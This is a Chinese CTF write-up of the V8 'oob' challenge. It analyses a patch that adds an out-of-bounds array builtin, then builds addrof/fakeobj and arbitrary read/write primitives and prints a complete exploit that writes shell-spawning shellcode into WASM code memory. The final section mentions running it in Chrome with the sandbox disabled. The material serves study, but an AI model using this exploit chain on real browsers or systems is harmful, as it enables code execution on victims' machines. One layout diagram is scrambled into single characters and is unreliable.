怎么有人三月份入了个坑然后就没学了啊. 最近某比赛有个 Webkit, 抄了个 exp 改改出了, 信心找回来了, 这就开始学 v8.
这题是 19 年的了, 切换到当时的 branch 安装依赖时提示最高支持到 Ubuntu 18. 于是丢 docker 里装了一下.
这题不能编译 debug 版本, 因为漏洞是数组越界, debug 版本有运行时 check.
1
2
3
4
5
6
7
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH = /path/to/depot_tools:$PATH
fetch v8
cd v8
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
./tools/dev/gm.py x64.release
编译好的文件在 ./out/x64.release
. 在本机运行调试, 需要 patchelf 一下 libc 以及其他需要的 lib 库.
然而实验时发现 patch 了以后 gdb 就崩掉了. 于是在 docker 里起了个 gdbserver 调.
而且这题的版本貌似还没有指针压缩啥的, 只有一个指针标记. SMI 在高 4 字节, 低 4 字节是 0. double 直接存的数字.
就一个 diff:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
可以参考其他熟悉的东西, 来猜测 patch 添加的功能是什么. 如 InitializeGlobal
中用 SimpleInstallFunction
install 了名为 fill
, find
, findIndex
等的 function, 这显然是 JS 对象的内置函数. 那么可以猜测这里就是添加了一个内置函数 oob
. 函数具体功能肯定就是下面的一串代码了. 再之后可能就是一些声明和定义.
在分析之前, 需要知道的是 JS 内置函数的参数实际上还要加上调用者自己 (和 python 的 self 差不多), 放在第一个位置, 称为 receiver.
首先 args 是函数的参数, 它的类型为 BuiltinArguments
. 参数可以用 at(int index)
来取, 其中 index 如果为 0 取的是 receiver, 所以从 1 开始才是我们在 JS 中写的参数. 取 receiver 有另一个函数叫 receiver()
. length()
取参数的个数, 包括 receiver 在内.
先来看前面一部分:
1
2
3
4
5
6
7
8
uint32_t len = args . length ();
if ( len > 2 ) return ReadOnlyRoots ( isolate ). undefined_value ();
Handle < JSReceiver > receiver ;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION (
isolate , receiver , Object :: ToObject ( isolate , args . receiver ()));
Handle < JSArray > array = Handle < JSArray >:: cast ( receiver );
FixedDoubleArray elements = FixedDoubleArray :: cast ( array -> elements ());
uint32_t length = static_cast < uint32_t > ( array -> length () -> Number ());
先判断参数个数, 如果大于两个则什么也不做, 返回 undefined. 然后取出 receiver, 转换为 JSArray 类型, 并取出其中的 elements
(编号属性, 元素), 并取出元素个数 length
.
接下来根据参数个数来执行不同的功能.
1
2
3
4
if ( len == 1 ){
//read
return * ( isolate -> factory () -> NewNumber ( elements . get_scalar ( length )));
}
get_scalar(index)
) 函数是取 elements
的下标为 index
位置的值. 如果参数个数是 1, 即只有 reciver, 那么就会返回 elements[length]
的值. 这里存在越界读.
1
2
3
4
5
6
7
8
else {
//write
Handle < Object > value ;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION (
isolate , value , Object :: ToNumber ( isolate , args . at < Object > ( 1 )));
elements . set ( length , value -> Number ());
return ReadOnlyRoots ( isolate ). undefined_value ();
}
当参数个数为 2, 则设置 elements 的 length 位置的值为传入的数. 这里存在越界写.
可以写一段 JS 试一试, 比如
1
2
3
array = []
array . oob () // read
array . oob ( 1 ) // write
首先来调试分析一下内存布局, 看看能够溢出或者修改什么东西.
调试一下可以发现, 当创建一个全局浮点数数组时, 内存布局为 elements 后紧挨着该数组的 JSObject:
d8> a = [1.1, 2.2, 3.3, 4.4]
[1.1, 2.2, 3.3, 4.4]
d8> %DebugPrint(a)
0x12eced1507a9: [JSArray]
- map: 0x018ec8142ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x20e48e311111 <JSArray[0]>
- elements: 0x12eced150779 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x17c9c5ec0c71 <FixedArray[0]> {
#length: 0x105fb58801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x12eced150779 <FixedDoubleArray[4]> {
0: 1.1
1: 2.2
2: 3.3
3: 4.4
}
pwndbg> telescope 0x12eced150778
00:0000│ 0x12eced150778 —▸ 0x17c9c5ec14f9 ◂— 0x17c9c5ec01
01:0008│ 0x12eced150780 ◂— 0x400000000
02:0010│ 0x12eced150788 ◂— 0x3ff199999999999a
03:0018│ 0x12eced150790 ◂— 0x400199999999999a
04:0020│ 0x12eced150798 ◂— 0x400a666666666666 ('ffffff\n@')
05:0028│ 0x12eced1507a0 ◂— 0x401199999999999a
06:0030│ 0x12eced1507a8 —▸ 0x18ec8142ed9 ◂— 0x4000017c9c5ec01
07:0038│ 0x12eced1507b0 —▸ 0x17c9c5ec0c71 ◂— 0x17c9c5ec08
当创建一个全局 Object 数组时, 内存布局为 elements 后紧挨着该数组的 JSObject, 内存和上面差不多.
不过需要把 Object 数组中的元素先声明:
1
2
var obj_elem = {};
var obj_array = [ obj_elem ];
如果写成 obj_array = [{}]
就不是这个布局了. 调试时还发现必须得在函数外声明或定义全局变量.
可以先用 oob 读出 Map(PACKED_DOUBLE_ELEMENTS) 和 Map(PACKED_ELEMENTS) 的地址, 便于之后的利用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* type convert */
var buffer = new ArrayBuffer ( 0x10 );
var float64 = new Float64Array ( buffer );
var bigUnit64 = new BigUint64Array ( buffer );
// convert 64bits float to unsigned int
function f2i ( x ) { float64 [ 0 ] = x ; return bigUnit64 [ 0 ]; }
// convert unsigned int to 64bits
function i2f ( x ) { bigUnit64 [ 0 ] = x ; return float64 [ 0 ]; }
// convert int to hex
function hex ( x ) { return "0x" + x . toString ( 16 ); }
// convert float to hex
function f2h ( x ) { return hex ( f2i ( x )); }
// convert float to addr
function f2a ( x ) { return f2i ( x ) >> 2 n << 2 n ; }
// convert addr to float
function a2f ( x ) { return i2f ( x | 1 n ); }
var float_array = [ 13.37 ];
print ( "float_array: " );
% DebugPrint ( float_array );
var map_packed_double_ele_1 = f2a ( float_array . oob ());
print ( "leak double map: " + hex ( map_packed_double_ele_1 ));
var obj_elem = {};
var obj_array = [ obj_elem ];
print ( "obj_array: " );
% DebugPrint ( obj_array );
var map_packed_ele_1 = f2a ( obj_array . oob ());
print ( "leak object map: " + hex ( map_packed_ele_1 ));
根据调试, 我们有能力读取或者复写 Map 地址. 而 Map 决定了结构和元素类型, 如果可以将 Object Array 的 ELEMENTS Map 写为 DOUBLE_ELEMENTS Map, 便可以将 elements 中保存的 object 地址以 double 的方式打印出来. 于是可以写出 addrof, 用于获得 object 的地址:
1
2
3
4
5
6
7
function addrof ( obj ) {
obj_array [ 0 ] = obj ;
obj_array . oob ( a2f ( map_packed_double_ele_1 ));
let addr = f2a ( obj_array [ 0 ]);
obj_array . oob ( a2f ( map_packed_ele_1 ));
return addr ;
}
类似地, 还可以构造 fakeobj 原语, 用于在某地址处伪造一个 object:
1
2
3
4
5
6
7
function fakeobj ( addr ) {
float_array [ 0 ] = a2f ( addr );
float_array . oob ( a2f ( map_packed_ele_1 ));
let obj = float_array [ 0 ];
float_array . oob ( a2f ( map_packed_double_ele_1 ));
return obj ;
}
之后可以利用泄漏的地址, 找到 elements 地址, 并在 elements 中构造一个 fake object, 就能够任意读写了. 具体构造如下:
c
o
n
t
a
i
n
e
c
r
o
n
-
t
a
0
i
x
n
2
e
0
r
E
E
l
l
P
e
e
r
E
m
m
o
l
l
e
e
M
p
e
e
n
n
a
e
m
n
t
t
p
r
e
g
s
s
t
n
t
i
t
h
M
l
e
s
a
e
s
p
n
f
a
k
e
o
b
j
P
r
E
o
l
l
M
p
e
e
a
e
m
n
p
r
e
g
t
n
t
i
t
h
e
s
s
f
a
k
e
o
b
d
d
j
u
u
e
m
m
c
m
m
t
y
y
v
E
E
a
l
l
l
e
e
u
e
M
l
a
e
p
n
t
t
a
a
r
r
g
g
e
e
t
t
-
a
d
0
d
x
r
1
0
read64 和 write64 原语:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var container = [ a2f ( map_packed_double_ele_1 ), 2.2 , 3.3 , i2f ( 0x100000000 n )];
print ( "container: " );
% DebugPrint ( container );
var container_addr = addrof ( container );
var fake_obj_addr = container_addr - 0x20 n ;
var fake_obj = fakeobj ( fake_obj_addr );
function read64 ( addr ) {
container [ 2 ] = a2f ( addr - 0x10 n );
return f2i ( fake_obj [ 0 ]);
}
function write64 ( addr , value ) {
container [ 2 ] = a2f ( addr - 0x10 n );
fake_obj [ 0 ] = i2f ( value );
}
利用大致分两个思路, 一个是泄漏 d8 的地址造成 “逃逸”, 然后去和普通程序一样打, 比如劫持 hook 等. 另一种是利用 WASM 执行机器码的能力, 将机器码复写为恶意 shellcode.
目前在 JS 中执行 WASM 只有非常原始的接口, 需要将 WASM 字节码加载到内存中, 然后调用 WebAssembly.Module
接口进行编译, 再生成实例, 最后运行代码.
1
2
3
4
5
var wasm_code = new Uint8Array ([ /* WASM bytecode array */ ]);
var wasm_module = new WebAssembly . Module ( wasm_code );
var wasm_instance = new WebAssembly . Instance ( wasm_module );
var trigger = wasm_instance . exports . main ;
trigger ();
有一个非常好用的网站可以直接生成 C 语言对应的 WASM 字节码: WasmFiddle
之后调试查看 wasm_instance
附近内存, 可以找到代码地址, 在 0x88 处:
0x34fc49361709: [WasmInstanceObject] in OldSpace
- map: 0x318fcc149789 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3222ce4cac19 <Object map = 0x318fcc14abd9>
- elements: 0x1af8f74c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x3222ce4cfac9 <Module map = 0x318fcc1491e9>
- exports_object: 0x3222ce4cfd01 <Object map = 0x318fcc14ad19>
- native_context: 0x34fc49341869 <NativeContext[246]>
- memory_object: 0x34fc49361831 <Memory map = 0x318fcc14a189>
- table 0: 0x3222ce4cfc99 <Table map = 0x318fcc149aa9>
- imported_function_refs: 0x1af8f74c0c71 <FixedArray[0]>
- managed_native_allocations: 0x3222ce4cfc41 <Foreign>
- memory_start: 0x7f3efd180000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x5645d967cdf0
- globals_start: (nil)
- imported_mutable_globals: 0x5645d967ce10
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x1af8f74c0c71 <FixedArray[0]> {}
pwndbg> telescope 0x34fc49361708
00:0000│ 0x34fc49361708 —▸ 0x318fcc149789 ◂— 0x2500001af8f74c01
01:0008│ 0x34fc49361710 —▸ 0x1af8f74c0c71 ◂— 0x1af8f74c08
02:0010│ 0x34fc49361718 —▸ 0x1af8f74c0c71 ◂— 0x1af8f74c08
03:0018│ 0x34fc49361720 —▸ 0x7f3efd180000 ◂— 0x0
04:0020│ 0x34fc49361728 ◂— 0x10000
05:0028│ 0x34fc49361730 ◂— 0xffff
06:0030│ 0x34fc49361738 —▸ 0x5645d95f73c8 —▸ 0x7ffe0f36c5f0 ◂— 0x7ffe0f36c5f0
07:0038│ 0x34fc49361740 —▸ 0x1af8f74c0c71 ◂— 0x1af8f74c08
08:0040│ 0x34fc49361748 —▸ 0x5645d967cdf0 ◂— 0x0
09:0048│ 0x34fc49361750 —▸ 0x1af8f74c04d1 ◂— 0x1af8f74c05
0a:0050│ 0x34fc49361758 ◂— 0x0
... ↓ 3 skipped
0e:0070│ 0x34fc49361778 —▸ 0x5645d967ce10 ◂— 0x0
0f:0078│ 0x34fc49361780 —▸ 0x1af8f74c04d1 ◂— 0x1af8f74c05
10:0080│ 0x34fc49361788 —▸ 0x5645d95ed700 —▸ 0x1af8f74c0751 ◂— 0xd200001af8f74c07
11:0088│ 0x34fc49361790 —▸ 0x1a25830bd000 ◂— movabs r10, 0x1a25830bd260 /* 0x1a25830bd260ba49 */
12:0090│ 0x34fc49361798 —▸ 0x3222ce4cfac9 ◂— 0x710000318fcc1491
13:0098│ 0x34fc493617a0 —▸ 0x3222ce4cfd01 ◂— 0x710000318fcc14ad
14:00a0│ 0x34fc493617a8 —▸ 0x34fc49341869 ◂— 0x1af8f74c0f
15:00a8│ 0x34fc493617b0 —▸ 0x34fc49361831 ◂— 0x710000318fcc14a1
16:00b0│ 0x34fc493617b8 —▸ 0x1af8f74c04d1 ◂— 0x1af8f74c05
17:00b8│ 0x34fc493617c0 —▸ 0x1af8f74c04d1 ◂— 0x1af8f74c05
于是我们只需要泄漏一下地址, 然后写入 shellcode 即可.
不过测试时发现写入挂在了 v8::internal::FixedArrayBase::IsCowArray()
函数上, 因为 fake obj 的 elements 地址低 20 位被置零了, 而该地址上方没有映射, 导致后续代码访问到了这里, 所以段错误了.
pwndbg> 7/10i 0x560c54c66d20
0x560c54c66d20 <v8::internal::FixedArrayBase::IsCowArray() const>: mov rax,QWORD PTR [rdi]
0x560c54c66d23 <v8::internal::FixedArrayBase::IsCowArray() const+3>: mov rcx,QWORD PTR [rax-0x1]
0x560c54c66d27 <v8::internal::FixedArrayBase::IsCowArray() const+7>: and rax,0xfffffffffffc0000
=> 0x560c54c66d2d <v8::internal::FixedArrayBase::IsCowArray() const+13>: mov rax,QWORD PTR [rax+0x30]
0x560c54c66d31 <v8::internal::FixedArrayBase::IsCowArray() const+17>: cmp rcx,QWORD PTR [rax-0x8fe0]
0x560c54c66d38 <v8::internal::FixedArrayBase::IsCowArray() const+24>: sete al
0x560c54c66d3b <v8::internal::FixedArrayBase::IsCowArray() const+27>: ret
pwndbg> regs rdi rax
*RDI 0x7ffc8901e200 —▸ 0x38699c454251 ◂— int3 /* 0xcccccccccccccccc */
*RAX 0x38699c440000
*EFLAGS 0x10206 [ cf PF af zf sf IF df of ]
解决方法有两种, 最简单的是先往能写的位置写一下, 这篇博客 有分析 (不过我没看懂). 另一种是用 DataView 写. 见 从一道CTF题零基础学V8漏洞利用 . 这里就直接用先写一下的方法. 完整 exp 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
/* type convert */
var buffer = new ArrayBuffer ( 0x10 );
var float64 = new Float64Array ( buffer );
var bigUnit64 = new BigUint64Array ( buffer );
// convert 64bits float to unsigned int
function f2i ( x ) { float64 [ 0 ] = x ; return bigUnit64 [ 0 ]; }
// convert unsigned int to 64bits
function i2f ( x ) { bigUnit64 [ 0 ] = x ; return float64 [ 0 ]; }
// convert int to hex
function hex ( x ) { return "0x" + x . toString ( 16 ); }
// convert float to hex
function f2h ( x ) { return hex ( f2i ( x )); }
// convert float to addr
function f2a ( x ) { return f2i ( x ) >> 2 n << 2 n ; }
// convert addr to float
function a2f ( x ) { return i2f ( x | 1 n ); }
var float_array = [ 13.37 ];
print ( "float_array: " );
% DebugPrint ( float_array );
var map_packed_double_ele_1 = f2a ( float_array . oob ());
print ( "leak double map: " + hex ( map_packed_double_ele_1 ));
var obj_elem = {};
var obj_array = [ obj_elem ];
print ( "obj_array: " );
% DebugPrint ( obj_array );
var map_packed_ele_1 = f2a ( obj_array . oob ());
print ( "leak object map: " + hex ( map_packed_ele_1 ));
function addrof ( obj ) {
obj_array [ 0 ] = obj ;
obj_array . oob ( a2f ( map_packed_double_ele_1 ));
let addr = f2a ( obj_array [ 0 ]);
obj_array . oob ( a2f ( map_packed_ele_1 ));
return addr ;
}
function fakeobj ( addr ) {
float_array [ 0 ] = a2f ( addr );
float_array . oob ( a2f ( map_packed_ele_1 ));
let obj = float_array [ 0 ];
float_array . oob ( a2f ( map_packed_double_ele_1 ));
return obj ;
}
var container = [ a2f ( map_packed_double_ele_1 ), 2.2 , 3.3 , i2f ( 0x100000000 n )];
print ( "container: " );
% DebugPrint ( container );
var container_addr = addrof ( container );
var fake_obj_addr = container_addr - 0x20 n ;
var fake_obj = fakeobj ( fake_obj_addr );
function read64 ( addr ) {
container [ 2 ] = a2f ( addr - 0x10 n );
return f2i ( fake_obj [ 0 ]);
}
function write64 ( addr , value ) {
container [ 2 ] = a2f ( addr - 0x10 n );
fake_obj [ 0 ] = i2f ( value );
}
var tmp = [ 12.34 ];
var addr = addrof ( tmp );
write64 ( addr - 0x8 n , 0xdeadbeef n );
print ( tmp [ 0 ]);
var wasm_code = new Uint8Array ([ 0 , 97 , 115 , 109 , 1 , 0 , 0 , 0 , 1 , 133 , 128 , 128 , 128 , 0 , 1 , 96 , 0 , 1 , 127 , 3 , 130 , 128 , 128 , 128 , 0 , 1 , 0 , 4 , 132 , 128 , 128 , 128 , 0 , 1 , 112 , 0 , 0 , 5 , 131 , 128 , 128 , 128 , 0 , 1 , 0 , 1 , 6 , 129 , 128 , 128 , 128 , 0 , 0 , 7 , 145 , 128 , 128 , 128 , 0 , 2 , 6 , 109 , 101 , 109 , 111 , 114 , 121 , 2 , 0 , 4 , 109 , 97 , 105 , 110 , 0 , 0 , 10 , 142 , 128 , 128 , 128 , 0 , 1 , 136 , 128 , 128 , 128 , 0 , 0 , 65 , 239 , 253 , 182 , 245 , 125 , 11 ]);
var wasm_module = new WebAssembly . Module ( wasm_code );
var wasm_instance = new WebAssembly . Instance ( wasm_module );
print ( "wasm_instance: " )
% DebugPrint ( wasm_instance );
var func = wasm_instance . exports . main ;
var shellcode_addr = read64 ( addrof ( wasm_instance ) + 0x88 n ) + 0x260 n ;
print ( "shellcode addr: " + hex ( shellcode_addr ));
function write_array64 ( addr , values ) {
for ( let i = 0 ; i < values . length ; i ++ , addr += 0x8 n )
write64 ( addr , values [ i ]);
}
shellcode = new BigUint64Array ([
0x6e69622fb848686a n ,
0xe7894850732f2f2f n ,
0x2434810101697268 n ,
0x6a56f63101010101 n ,
0x894856e601485e08 n ,
0x50f583b6ad231e6 n ,
])
write_array64 ( shellcode_addr , shellcode );
func ();
d8 执行这个脚本, 就可以 get shell 了.
弹计算器!
据说该题不需要绕过沙箱, 用 ./Chrome --no-sandbox
启动浏览器.
写一个 html, 加载 exp.js, 需要把调试信息删掉, 并且 shellcode 写为 execve("/usr/bin/xcalc", NULL, ["DISPLAY=:0"])
execve("/usr/bin/xcalc", NULL, [“DISPLAY=:0”])